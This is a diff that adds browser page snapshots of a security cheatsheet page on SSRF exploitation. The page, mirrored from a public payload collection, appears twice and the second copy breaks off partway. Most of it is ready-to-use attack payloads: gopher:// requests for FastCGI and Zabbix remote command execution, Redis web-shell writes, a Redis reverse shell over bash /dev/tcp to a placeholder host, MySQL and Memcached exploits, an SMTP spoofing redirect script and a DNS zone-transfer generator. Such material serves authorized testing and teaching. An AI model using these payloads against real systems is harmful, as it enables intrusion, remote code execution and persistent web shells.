+          - code [ref=f6e1585]: /usr/share/php/PEAR.php
+          - text: .
+        - figure "ps1 Copy" [ref=f6e1586]:
+          - generic [ref=f6e1587]:
+            - generic [ref=f6e1588]: ps1
+            - button "Copy" [ref=f6e1589] [cursor=pointer]
+          - code [ref=f6e1594]:
+            - generic [ref=f6e1595]: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00
+        - heading "Memcached" [level=2] [ref=f6e1596]
+        - paragraph [ref=f6e1597]: Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.
+        - figure "ps1 Copy" [ref=f6e1598]:
+          - generic [ref=f6e1599]:
+            - generic [ref=f6e1600]: ps1
+            - button "Copy" [ref=f6e1601] [cursor=pointer]
+          - code [ref=f6e1606]:
+            - generic [ref=f6e1607]: python2.7 ./gopherus.py --exploit pymemcache
+            - generic [ref=f6e1608]: python2.7 ./gopherus.py --exploit rbmemcache
+            - generic [ref=f6e1609]: python2.7 ./gopherus.py --exploit phpmemcache
+            - generic [ref=f6e1610]: python2.7 ./gopherus.py --exploit dmpmemcache
+        - heading "MySQL" [level=2] [ref=f6e1611]
+        - paragraph [ref=f6e1612]: MySQL user should not be password protected.
+        - figure "ps1 Copy" [ref=f6e1613]:
+          - generic [ref=f6e1614]:
+            - generic [ref=f6e1615]: ps1
+            - button "Copy" [ref=f6e1616] [cursor=pointer]
+          - code [ref=f6e1621]:
+            - generic [ref=f6e1622]: $ python2.7 ./gopherus.py --exploit mysql
+            - generic [ref=f6e1623]: "Give MySQL username: root"
+            - generic [ref=f6e1624]: "Give query to execute: SELECT 123;"
+            - generic [ref=f6e1625]: gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01
+        - heading "Redis" [level=2] [ref=f6e1626]
+        - blockquote [ref=f6e1627]:
+          - paragraph [ref=f6e1628]: Redis is a database system that stores everything in RAM
+        - paragraph [ref=f6e1629]:
+          - text: The attacker changes Redis’s dump directory to the web server’s document root (
+          - code [ref=f6e1630]: /var/www/html
+          - text: ) and renames the dump file to
+          - code [ref=f6e1631]: file.php
+          - text: ", ensuring that when the database is saved, it generates a PHP file. They then create a Redis key ("
+          - code [ref=f6e1632]: mykey
+          - text: ) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the
+          - code [ref=f6e1633]: SAVE
+          - text: command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at
+          - code [ref=f6e1634]: /var/www/html/file.php
+          - text: .
+        - figure "ps1 Copy" [ref=f6e1635]:
+          - generic [ref=f6e1636]:
+            - generic [ref=f6e1637]: ps1
+            - button "Copy" [ref=f6e1638] [cursor=pointer]
+          - code [ref=f6e1643]:
+            - generic [ref=f6e1644]: CONFIG SET dir /var/www/html
+            - generic [ref=f6e1645]: CONFIG SET dbfilename file.php
+            - generic [ref=f6e1646]: SET mykey "<?php system($_GET[0])?>"
+            - generic [ref=f6e1647]: SAVE
+        - list [ref=f6e1648]:
+          - listitem [ref=f6e1649]:
+            - paragraph [ref=f6e1650]:
+              - text: Getting a webshell with
+              - code [ref=f6e1651]: dict://
+            - figure "powershell Copy" [ref=f6e1652]:
+              - generic [ref=f6e1653]:
+                - generic [ref=f6e1654]: powershell
+                - button "Copy" [ref=f6e1655] [cursor=pointer]
+              - code [ref=f6e1660]:
+                - generic [ref=f6e1661]: dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
+                - generic [ref=f6e1662]: dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
+                - generic [ref=f6e1663]: dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
+                - generic [ref=f6e1664]: dict://127.0.0.1:6379/SAVE
+          - listitem [ref=f6e1665]:
+            - paragraph [ref=f6e1666]:
+              - text: Getting a PHP reverse shell with
+              - code [ref=f6e1667]: gopher://
+            - figure "powershell Copy" [ref=f6e1668]:
+              - generic [ref=f6e1669]:
+                - generic [ref=f6e1670]: powershell
+                - button "Copy" [ref=f6e1671] [cursor=pointer]
+              - code [ref=f6e1676]:
+                - generic [ref=f6e1677]: gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
+                - generic [ref=f6e1678]: gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
+                - generic [ref=f6e1679]: gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
+                - generic [ref=f6e1680]: gopher://127.0.0.1:6379/_save
+        - heading "SMTP" [level=2] [ref=f6e1681]
+        - paragraph [ref=f6e1682]:
+          - text: Malicious actors can craft
+          - code [ref=f6e1683]: gopher://
+          - text: URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.
+        - figure "ps1 Copy" [ref=f6e1684]:
+          - generic [ref=f6e1685]:
+            - generic [ref=f6e1686]: ps1
+            - button "Copy" [ref=f6e1687] [cursor=pointer]
+          - code [ref=f6e1692]:
+            - generic [ref=f6e1693]: gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
+        - paragraph [ref=f6e1694]:
+          - text: The following PHP script can be used to generate a page that will redirect to the
+          - code [ref=f6e1695]: gopher://
+          - text: payload.
+        - figure "php Copy" [ref=f6e1696]:
+          - generic [ref=f6e1697]:
+            - generic [ref=f6e1698]: php
+            - button "Copy" [ref=f6e1699] [cursor=pointer]
+          - code [ref=f6e1704]:
+            - generic [ref=f6e1705]: <?php
+            - generic [ref=f6e1706]: $commands = array(
+            - generic [ref=f6e1707]: "'HELO victim.com',"
+            - generic [ref=f6e1708]: "'MAIL FROM: <admin@victim.com>',"
+            - generic [ref=f6e1709]: "'RCPT To: <User@[ATTACKER.DOMAIN.TLD]>',"
+            - generic [ref=f6e1710]: "'DATA',"
+            - generic [ref=f6e1711]: "'Subject: @hacker!',"
+            - generic [ref=f6e1712]: "'Hello Friend',"
+            - generic [ref=f6e1713]: "'.'"
+            - generic [ref=f6e1714]: );
+            - generic [ref=f6e1715]: $payload = implode('%0A', $commands);
+            - generic [ref=f6e1716]: "header('Location: gopher://0:25/_'.$payload);"
+            - generic [ref=f6e1717]: "?>"
+        - heading "WSGI" [level=2] [ref=f6e1718]
+        - paragraph [ref=f6e1719]:
+          - text: Exploit using the Gopher protocol, full exploit script available at
+          - link "wofeiwo/webcgi-exploits/uwsgi_exp.py" [ref=f6e1720] [cursor=pointer]:
+            - /url: https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
+          - text: .
+        - figure "powershell Copy" [ref=f6e1721]:
+          - generic [ref=f6e1722]:
+            - generic [ref=f6e1723]: powershell
+            - button "Copy" [ref=f6e1724] [cursor=pointer]
+          - code [ref=f6e1729]:
+            - generic [ref=f6e1730]: gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
+        - table [ref=f6e1732]:
+          - rowgroup [ref=f6e1733]:
+            - row [ref=f6e1734]:
+              - columnheader "Header" [ref=f6e1735]
+              - columnheader [ref=f6e1736]
+              - columnheader [ref=f6e1737]
+          - rowgroup [ref=f6e1738]:
+            - row [ref=f6e1739]:
+              - cell "modifier1" [ref=f6e1740]
+              - cell "(1 byte)" [ref=f6e1741]
+              - cell "0 (%00)" [ref=f6e1742]
+            - row [ref=f6e1743]:
+              - cell "datasize" [ref=f6e1744]
+              - cell "(2 bytes)" [ref=f6e1745]
+              - cell "26 (%1A%00)" [ref=f6e1746]
+            - row [ref=f6e1747]:
+              - cell "modifier2" [ref=f6e1748]
+              - cell "(1 byte)" [ref=f6e1749]
+              - cell "0 (%00)" [ref=f6e1750]
+        - table [ref=f6e1752]:
+          - rowgroup [ref=f6e1753]:
+            - row [ref=f6e1754]:
+              - columnheader "Variable (UWSGI_FILE)" [ref=f6e1755]
+              - columnheader [ref=f6e1756]
+              - columnheader [ref=f6e1757]
+              - columnheader [ref=f6e1758]
+          - rowgroup [ref=f6e1759]:
+            - row [ref=f6e1760]:
+              - cell "key length" [ref=f6e1761]
+              - cell "(2 bytes)" [ref=f6e1762]
+              - cell "10" [ref=f6e1763]
+              - cell "(%0A%00)" [ref=f6e1764]
+            - row [ref=f6e1765]:
+              - cell "key data" [ref=f6e1766]
+              - cell "(m bytes)" [ref=f6e1767]
+              - cell [ref=f6e1768]
+              - cell "UWSGI_FILE" [ref=f6e1769]
+            - row [ref=f6e1770]:
+              - cell "value length" [ref=f6e1771]
+              - cell "(2 bytes)" [ref=f6e1772]
+              - cell "12" [ref=f6e1773]
+              - cell "(%0C%00)" [ref=f6e1774]
+            - row [ref=f6e1775]:
+              - cell "value data" [ref=f6e1776]
+              - cell "(n bytes)" [ref=f6e1777]
+              - cell [ref=f6e1778]
+              - cell "/tmp/test.py" [ref=f6e1779]
+        - heading "Zabbix" [level=2] [ref=f6e1780]
+        - paragraph [ref=f6e1781]:
+          - text: If
+          - code [ref=f6e1782]: EnableRemoteCommands=1
+          - text: is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.
+        - figure "ps1 Copy" [ref=f6e1783]:
+          - generic [ref=f6e1784]:
+            - generic [ref=f6e1785]: ps1
+            - button "Copy" [ref=f6e1786] [cursor=pointer]
+          - code [ref=f6e1791]:
+            - generic [ref=f6e1792]: gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D
+        - heading "References" [level=2] [ref=f6e1793]
+        - list [ref=f6e1794]:
+          - listitem [ref=f6e1795]:
+            - link "SSRFmap - Introducing the AXFR Module - Swissky - June 13, 2024" [ref=f6e1796] [cursor=pointer]:
+              - /url: https://web.archive.org/web/20240614121446/https://swisskyrepo.github.io/SSRFmap-axfr/
+          - listitem [ref=f6e1797]:
+            - link "How I Converted SSRF to XSS in Jira - Ashish Kunwar - June 1, 2018" [ref=f6e1798] [cursor=pointer]:
+              - /url: https://web.archive.org/web/20251116223629/https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158
+          - listitem [ref=f6e1799]:
+            - link "Pong [EN] | FCSC 2024 - Arthur Deloffre (@Vozec1) - April 12, 2024" [ref=f6e1800] [cursor=pointer]:
+              - /url: https://vozec.fr/writeups/pong-fcsc2024-en/
+          - listitem [ref=f6e1801]:
+            - link "Pong [EN] | FCSC 2024 - KΓ©vin - Mizu (@kevin_mizu) - April 13, 2024" [ref=f6e1802] [cursor=pointer]:
+              - /url: https://mizu.re/post/pong
+      - navigation "Pagination" [ref=f6e1803]:
+        - link [ref=f6e1804] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - text: ← Prev
+          - strong [ref=f6e1805]: Server-Side Request Forgery
+        - link [ref=f6e1806] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery/ssrf-cloud-instances
+          - text: Next β†’
+          - strong [ref=f6e1807]: SSRF URL for Cloud Instances
+  - contentinfo [ref=f6e1808]:
+    - generic [ref=f6e1809]:
+      - generic [ref=f6e1810]:
+        - link "DÆMON // SEC" [ref=f6e1811] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e1812]: //
+          - text: SEC
+        - paragraph [ref=f6e1813]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e1814]:
+        - link "daemon-404.github.io β†—" [ref=f6e1815] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e1816] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e1817]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e1818] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e1819] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e1820]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e1821]: RosΓ© Pine Β· Astro Β· Pagefind
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-10-29-163Z.yml b/.playwright-mcp/page-2026-08-10T08-10-29-163Z.yml
@@ -0,0 +1,371 @@
+- generic [active] [ref=f6e1459]:
+  - banner [ref=f6e1460]:
+    - generic [ref=f6e1461]:
+      - link "DÆMON//SEC home" [ref=f6e1462] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e1463]: //
+        - text: SEC
+        - generic [ref=f6e1464]: _
+      - navigation "Primary" [ref=f6e1465]:
+        - link "01 Vault" [ref=f6e1466] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e1467]: "01"
+          - generic [ref=f6e1468]: Vault
+        - link "02 Payloads" [ref=f6e1469] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e1470]: "02"
+          - generic [ref=f6e1471]: Payloads
+        - link "03 Tags" [ref=f6e1472] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e1473]: "03"
+          - generic [ref=f6e1474]: Tags
+        - link "04 Credits" [ref=f6e1475] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e1476]: "04"
+          - generic [ref=f6e1477]: Credits
+      - generic [ref=f6e1478]:
+        - button "Search cheatsheets" [ref=f6e1479] [cursor=pointer]:
+          - generic [ref=f6e1482]: Search
+          - generic [ref=f6e1483]: /
+        - button "Toggle theme" [ref=f6e1484] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e1489] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e1492] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e1495]:
+    - generic [ref=f6e1496]:
+      - navigation [ref=f6e1497]:
+        - link "~" [ref=f6e1498] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f6e1499]: /
+        - link "payloads" [ref=f6e1500] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f6e1501]: /
+        - link "server-side-request-forgery" [ref=f6e1502] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+        - generic [ref=f6e1503]: /
+        - generic [ref=f6e1504]: ssrf-advanced-exploitation
+      - generic [ref=f6e1505]:
+        - paragraph [ref=f6e1506]: // Payloads Β· Server Side Request Forgery
+        - heading "SSRF Advanced Exploitation" [level=1] [ref=f6e1507]
+      - complementary "Attribution" [ref=f6e1508]:
+        - generic [ref=f6e1509]: mirror
+        - generic [ref=f6e1510]:
+          - text: Mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e1511] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: β€Ί Server Side Request Forgery
+          - generic [ref=f6e1512]:
+            - text: MIT Β·
+            - link "credits" [ref=f6e1513] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/credits
+            - text: Β·
+            - code [ref=f6e1514]: 3bff425
+        - link "View source on GitHub" [ref=f6e1515] [cursor=pointer]:
+          - /url: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3bff425aca2b/Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation.md
+          - text: source
+      - article [ref=f6e1518]:
+        - blockquote [ref=f6e1519]:
+          - paragraph [ref=f6e1520]: Some services (e.g., Redis, Elasticsearch) allow unauthenticated data writes or command execution when accessed directly. An attacker could exploit SSRF to interact with these services, injecting malicious payloads like web shells or manipulating application state.
+        - heading "Summary" [level=2] [ref=f6e1521]
+        - list [ref=f6e1522]:
+          - listitem [ref=f6e1523]:
+            - link "DNS AXFR" [ref=f6e1524] [cursor=pointer]:
+              - /url: "#dns-axfr"
+          - listitem [ref=f6e1525]:
+            - link "FastCGI" [ref=f6e1526] [cursor=pointer]:
+              - /url: "#fastcgi"
+          - listitem [ref=f6e1527]:
+            - link "Memcached" [ref=f6e1528] [cursor=pointer]:
+              - /url: "#memcached"
+          - listitem [ref=f6e1529]:
+            - link "MySQL" [ref=f6e1530] [cursor=pointer]:
+              - /url: "#memcached"
+          - listitem [ref=f6e1531]:
+            - link "Redis" [ref=f6e1532] [cursor=pointer]:
+              - /url: "#redis"
+          - listitem [ref=f6e1533]:
+            - link "SMTP" [ref=f6e1534] [cursor=pointer]:
+              - /url: "#smtp"
+          - listitem [ref=f6e1535]:
+            - link "WSGI" [ref=f6e1536] [cursor=pointer]:
+              - /url: "#wsgi"
+          - listitem [ref=f6e1537]:
+            - link "Zabbix" [ref=f6e1538] [cursor=pointer]:
+              - /url: "#zabbix"
+          - listitem [ref=f6e1539]:
+            - link "References" [ref=f6e1540] [cursor=pointer]:
+              - /url: "#references"
+        - heading "DNS AXFR" [level=2] [ref=f6e1541]
+        - paragraph [ref=f6e1542]:
+          - generic [ref=f6e1543]: Q
+          - text: uery an internal DNS resolver to trigger a full zone transfer (
+          - strong [ref=f6e1544]: AXFR
+          - text: ) and exfiltrate a list of subdomains.
+        - figure "py Copy" [ref=f6e1545]:
+          - generic [ref=f6e1546]:
+            - generic [ref=f6e1547]: py
+            - button "Copy" [ref=f6e1548] [cursor=pointer]
+          - code [ref=f6e1553]:
+            - generic [ref=f6e1554]: from urllib.parse import quote
+            - generic [ref=f6e1555]: domain,tld = "example.lab".split('.')
+            - generic [ref=f6e1556]: "dns_request = b\"\\x01\\x03\\x03\\x07\" # BITMAP"
+            - generic [ref=f6e1557]: "dns_request += b\"\\x00\\x01\" # QCOUNT"
+            - generic [ref=f6e1558]: "dns_request += b\"\\x00\\x00\" # ANCOUNT"
+            - generic [ref=f6e1559]: "dns_request += b\"\\x00\\x00\" # NSCOUNT"
+            - generic [ref=f6e1560]: "dns_request += b\"\\x00\\x00\" # ARCOUNT"
+            - generic [ref=f6e1561]: "dns_request += len(domain).to_bytes() # LEN DOMAIN"
+            - generic [ref=f6e1562]: "dns_request += domain.encode() # DOMAIN"
+            - generic [ref=f6e1563]: "dns_request += len(tld).to_bytes() # LEN TLD"
+            - generic [ref=f6e1564]: "dns_request += tld.encode() # TLD"
+            - generic [ref=f6e1565]: "dns_request += b\"\\x00\" # DNAME EOF"
+            - generic [ref=f6e1566]: "dns_request += b\"\\x00\\xFC\" # QTYPE AXFR (252)"
+            - generic [ref=f6e1567]: "dns_request += b\"\\x00\\x01\" # QCLASS IN (1)"
+            - generic [ref=f6e1568]: dns_request = len(dns_request).to_bytes(2, byteorder="big") + dns_request
+            - generic [ref=f6e1569]: "print(f'gopher://127.0.0.1:25/_{quote(dns_request)}')"
+        - paragraph [ref=f6e1570]:
+          - text: Example of payload for
+          - code [ref=f6e1571]: example.lab
+          - text: ":"
+          - code [ref=f6e1572]: gopher://127.0.0.1:25/_%00%1D%01%03%03%07%00%01%00%00%00%00%00%00%07example%03lab%00%00%FC%00%01
+        - figure "ps1 Copy" [ref=f6e1573]:
+          - generic [ref=f6e1574]:
+            - generic [ref=f6e1575]: ps1
+            - button "Copy" [ref=f6e1576] [cursor=pointer]
+          - code [ref=f6e1581]:
+            - generic [ref=f6e1582]: curl -s -i -X POST -d 'url=gopher://127.0.0.1:53/_%2500%251d%25a9%25c1%2500%2520%2500%2501%2500%2500%2500%2500%2500%2500%2507%2565%2578%2561%256d%2570%256c%2565%2503%256c%2561%2562%2500%2500%25fc%2500%2501' http://localhost:5000/ssrf --output - | xxd
+        - heading "FastCGI" [level=2] [ref=f6e1583]
+        - paragraph [ref=f6e1584]:
+          - text: Requires to know the full path of one PHP file on the server, by default the exploit is using
+          - code [ref=f6e1585]: /usr/share/php/PEAR.php
+          - text: .
+        - figure "ps1 Copy" [ref=f6e1586]:
+          - generic [ref=f6e1587]:
+            - generic [ref=f6e1588]: ps1
+            - button "Copy" [ref=f6e1589] [cursor=pointer]
+          - code [ref=f6e1594]:
+            - generic [ref=f6e1595]: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/usr/share/php/PEAR.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3F%3E%00%00%00%00
+        - heading "Memcached" [level=2] [ref=f6e1596]
+        - paragraph [ref=f6e1597]: Memcached communicates over port 11211 by default. While it is primarily used for storing serialized data to enhance application performance, vulnerabilities can arise during the deserialization of this data.
+        - figure "ps1 Copy" [ref=f6e1598]:
+          - generic [ref=f6e1599]:
+            - generic [ref=f6e1600]: ps1
+            - button "Copy" [ref=f6e1601] [cursor=pointer]
+          - code [ref=f6e1606]:
+            - generic [ref=f6e1607]: python2.7 ./gopherus.py --exploit pymemcache
+            - generic [ref=f6e1608]: python2.7 ./gopherus.py --exploit rbmemcache
+            - generic [ref=f6e1609]: python2.7 ./gopherus.py --exploit phpmemcache
+            - generic [ref=f6e1610]: python2.7 ./gopherus.py --exploit dmpmemcache
+        - heading "MySQL" [level=2] [ref=f6e1611]
+        - paragraph [ref=f6e1612]: MySQL user should not be password protected.
+        - figure "ps1 Copy" [ref=f6e1613]:
+          - generic [ref=f6e1614]:
+            - generic [ref=f6e1615]: ps1
+            - button "Copy" [ref=f6e1616] [cursor=pointer]
+          - code [ref=f6e1621]:
+            - generic [ref=f6e1622]: $ python2.7 ./gopherus.py --exploit mysql
+            - generic [ref=f6e1623]: "Give MySQL username: root"
+            - generic [ref=f6e1624]: "Give query to execute: SELECT 123;"
+            - generic [ref=f6e1625]: gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%00%00%00%03%53%45%4c%45%43%54%20%31%32%33%3b%01%00%00%00%01
+        - heading "Redis" [level=2] [ref=f6e1626]
+        - blockquote [ref=f6e1627]:
+          - paragraph [ref=f6e1628]: Redis is a database system that stores everything in RAM
+        - paragraph [ref=f6e1629]:
+          - text: The attacker changes Redis’s dump directory to the web server’s document root (
+          - code [ref=f6e1630]: /var/www/html
+          - text: ) and renames the dump file to
+          - code [ref=f6e1631]: file.php
+          - text: ", ensuring that when the database is saved, it generates a PHP file. They then create a Redis key ("
+          - code [ref=f6e1632]: mykey
+          - text: ) containing the web shell code, which enables remote command execution via HTTP GET parameters. Finally, the
+          - code [ref=f6e1633]: SAVE
+          - text: command forces Redis to write the current in-memory database to disk, resulting in the creation of the malicious web shell at
+          - code [ref=f6e1634]: /var/www/html/file.php
+          - text: .
+        - figure "ps1 Copy" [ref=f6e1635]:
+          - generic [ref=f6e1636]:
+            - generic [ref=f6e1637]: ps1
+            - button "Copy" [ref=f6e1638] [cursor=pointer]
+          - code [ref=f6e1643]:
+            - generic [ref=f6e1644]: CONFIG SET dir /var/www/html
+            - generic [ref=f6e1645]: CONFIG SET dbfilename file.php
+            - generic [ref=f6e1646]: SET mykey "<?php system($_GET[0])?>"
+            - generic [ref=f6e1647]: SAVE
+        - list [ref=f6e1648]:
+          - listitem [ref=f6e1649]:
+            - paragraph [ref=f6e1650]:
+              - text: Getting a webshell with
+              - code [ref=f6e1651]: dict://
+            - figure "powershell Copy" [ref=f6e1652]:
+              - generic [ref=f6e1653]:
+                - generic [ref=f6e1654]: powershell
+                - button "Copy" [ref=f6e1655] [cursor=pointer]
+              - code [ref=f6e1660]:
+                - generic [ref=f6e1661]: dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html
+                - generic [ref=f6e1662]: dict://127.0.0.1:6379/CONFIG%20SET%20dbfilename%20file.php
+                - generic [ref=f6e1663]: dict://127.0.0.1:6379/SET%20mykey%20"<\x3Fphp system($_GET[0])\x3F>"
+                - generic [ref=f6e1664]: dict://127.0.0.1:6379/SAVE
+          - listitem [ref=f6e1665]:
+            - paragraph [ref=f6e1666]:
+              - text: Getting a PHP reverse shell with
+              - code [ref=f6e1667]: gopher://
+            - figure "powershell Copy" [ref=f6e1668]:
+              - generic [ref=f6e1669]:
+                - generic [ref=f6e1670]: powershell
+                - button "Copy" [ref=f6e1671] [cursor=pointer]
+              - code [ref=f6e1676]:
+                - generic [ref=f6e1677]: gopher://127.0.0.1:6379/_config%20set%20dir%20%2Fvar%2Fwww%2Fhtml
+                - generic [ref=f6e1678]: gopher://127.0.0.1:6379/_config%20set%20dbfilename%20reverse.php
+                - generic [ref=f6e1679]: gopher://127.0.0.1:6379/_set%20payload%20%22%3C%3Fphp%20shell_exec%28%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FREMOTE_IP%2FREMOTE_PORT%200%3E%261%27%29%3B%3F%3E%22
+                - generic [ref=f6e1680]: gopher://127.0.0.1:6379/_save
+        - heading "SMTP" [level=2] [ref=f6e1681]
+        - paragraph [ref=f6e1682]:
+          - text: Malicious actors can craft
+          - code [ref=f6e1683]: gopher://
+          - text: URLs to manipulate low-level protocols (like HTTP or SMTP) on internal systems.
+        - figure "ps1 Copy" [ref=f6e1684]:
+          - generic [ref=f6e1685]:
+            - generic [ref=f6e1686]: ps1
+            - button "Copy" [ref=f6e1687] [cursor=pointer]
+          - code [ref=f6e1692]:
+            - generic [ref=f6e1693]: gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A
+        - paragraph [ref=f6e1694]:
+          - text: The following PHP script can be used to generate a page that will redirect to the
+          - code [ref=f6e1695]: gopher://
+          - text: payload.
+        - figure "php Copy" [ref=f6e1696]:
+          - generic [ref=f6e1697]:
+            - generic [ref=f6e1698]: php
+            - button "Copy" [ref=f6e1699] [cursor=pointer]
+          - code [ref=f6e1704]:
+            - generic [ref=f6e1705]: <?php
+            - generic [ref=f6e1706]: $commands = array(
+            - generic [ref=f6e1707]: "'HELO victim.com',"
+            - generic [ref=f6e1708]: "'MAIL FROM: <admin@victim.com>',"
+            - generic [ref=f6e1709]: "'RCPT To: <User@[ATTACKER.DOMAIN.TLD]>',"
+            - generic [ref=f6e1710]: "'DATA',"
+            - generic [ref=f6e1711]: "'Subject: @hacker!',"
+            - generic [ref=f6e1712]: "'Hello Friend',"
+            - generic [ref=f6e1713]: "'.'"
+            - generic [ref=f6e1714]: );
+            - generic [ref=f6e1715]: $payload = implode('%0A', $commands);
+            - generic [ref=f6e1716]: "header('Location: gopher://0:25/_'.$payload);"
+            - generic [ref=f6e1717]: "?>"
+        - heading "WSGI" [level=2] [ref=f6e1718]
+        - paragraph [ref=f6e1719]:
+          - text: Exploit using the Gopher protocol, full exploit script available at
+          - link "wofeiwo/webcgi-exploits/uwsgi_exp.py" [ref=f6e1720] [cursor=pointer]:
+            - /url: https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi_exp.py
+          - text: .
+        - figure "powershell Copy" [ref=f6e1721]:
+          - generic [ref=f6e1722]:
+            - generic [ref=f6e1723]: powershell
